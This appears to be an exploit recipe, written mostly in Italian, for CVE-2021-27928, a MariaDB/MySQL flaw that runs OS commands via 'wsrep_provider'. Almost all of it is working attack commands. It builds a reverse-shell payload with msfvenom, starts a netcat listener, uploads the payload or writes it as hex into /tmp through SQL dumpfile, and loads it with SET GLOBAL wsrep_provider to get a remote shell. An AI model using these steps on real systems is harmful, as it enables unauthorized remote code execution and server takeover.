CVE-2021-27928

Exploit Title: MariaDB 10.2 /MySQL - Esecuzione di comandi OS tramite 'wsrep_provider'
Data: 03/18/2021
Autore Exploit: Central InfoSec
Versione: 
	MariaDB 10.2 prima di 10.2.37
	10.3 prima di 10.3.28
	10.4 prima di 10.4.18 
	10.5 prima di 10.5.9
Percona Server fino al 2021-03-03; e la patch wsrep fino al 2021-03-03 per MySQL
Testato su: Linux
CVE: CVE-2021-27928

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f elf-so -o CVE-2021-27928.so

nc -lnvp <port>

scp CVE-2021-27928.so <user>@<ip>:/tmp/CVE-2021-27928.so

python3 -c 'print(open("CVE-2021-27928.so", "rb").read().hex())'
mysql -u <user> -p -h <ip>
SELECT UNHEX('PYTHON_OUTPUT') into dumpfile '/tmp/CVE-2021-27928.so';

mysql -u <user> -p -h <ip>
SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";